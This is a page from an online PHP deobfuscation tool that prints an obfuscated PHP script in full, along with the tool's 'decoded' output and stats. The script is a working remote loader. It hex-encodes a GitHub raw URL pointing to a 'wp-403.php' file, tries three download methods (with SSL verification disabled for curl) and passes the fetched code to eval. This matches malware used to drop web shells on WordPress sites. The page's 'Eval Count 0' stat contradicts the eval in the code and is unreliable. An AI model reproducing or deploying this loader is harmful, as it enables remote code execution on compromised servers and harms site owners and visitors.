Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto iCndb; g6Etd: function downloadWithCurl($url) { if (function_exists("c" . "u" . "rl" ..

Decoded Output download

<?  goto iCndb; g6Etd: function downloadWithCurl($url) { if (function_exists("c" . "u" . "rl" . "_i" . "n" . "i" . "t")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $data = curl_exec($ch); curl_close($ch); return $data; } return false; } goto Fu911; i2ts4: $phpScript = downloadWithFileGetContents($url); goto GUQDf; iCndb: $hexUrl = "68747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F6D656D656B63696E612F66697869742F726566732F68656164732F6D61696E2F77702D3430332E706870"; goto NISx1; LKY2d: if ($phpScript === false) { $phpScript = downloadWithFopen($url); } goto JSlWJ; OErrI: eval("?>" . $phpScript); goto Lk117; Fu911: function downloadWithFopen($url) { $result = false; if ($fp = fopen($url, "r")) { $result = ''; while ($data = fread($fp, 8192)) { $result .= $data; } fclose($fp); } return $result; } goto i2ts4; JSlWJ: if ($phpScript === false) { die("Gagal mendownload script PHP dari URL dengan semua metode."); } goto OErrI; GUQDf: if ($phpScript === false) { $phpScript = downloadWithCurl($url); } goto LKY2d; NISx1: function hex2str($hex) { $str = ''; for ($i = 0; $i < strlen($hex) - 1; $i += 2) { $str .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $str; } goto r5vEP; r5vEP: $url = hex2str($hexUrl); goto b0s2Y; b0s2Y: function downloadWithFileGetContents($url) { if (ini_get("a" . "llow" . "_ur" . "l_fo" . "pe" . "n")) { return file_get_contents($url); } return false; } goto g6Etd; Lk117: 

Did this file decode correctly?

Original Code

goto iCndb; g6Etd: function downloadWithCurl($url) { if (function_exists("c" . "u" . "rl" . "_i" . "n" . "i" . "t")) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $data = curl_exec($ch); curl_close($ch); return $data; } return false; } goto Fu911; i2ts4: $phpScript = downloadWithFileGetContents($url); goto GUQDf; iCndb: $hexUrl = "68747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F6D656D656B63696E612F66697869742F726566732F68656164732F6D61696E2F77702D3430332E706870"; goto NISx1; LKY2d: if ($phpScript === false) { $phpScript = downloadWithFopen($url); } goto JSlWJ; OErrI: eval("?>" . $phpScript); goto Lk117; Fu911: function downloadWithFopen($url) { $result = false; if ($fp = fopen($url, "r")) { $result = ''; while ($data = fread($fp, 8192)) { $result .= $data; } fclose($fp); } return $result; } goto i2ts4; JSlWJ: if ($phpScript === false) { die("Gagal mendownload script PHP dari URL dengan semua metode."); } goto OErrI; GUQDf: if ($phpScript === false) { $phpScript = downloadWithCurl($url); } goto LKY2d; NISx1: function hex2str($hex) { $str = ''; for ($i = 0; $i < strlen($hex) - 1; $i += 2) { $str .= chr(hexdec($hex[$i] . $hex[$i + 1])); } return $str; } goto r5vEP; r5vEP: $url = hex2str($hexUrl); goto b0s2Y; b0s2Y: function downloadWithFileGetContents($url) { if (ini_get("a" . "llow" . "_ur" . "l_fo" . "pe" . "n")) { return file_get_contents($url); } return false; } goto g6Etd; Lk117: 

Function Calls

None

Variables

None

Stats

MD5 92d6bf87ec86833343a7005e99d77e0c
Eval Count 0
Decode Time 132 ms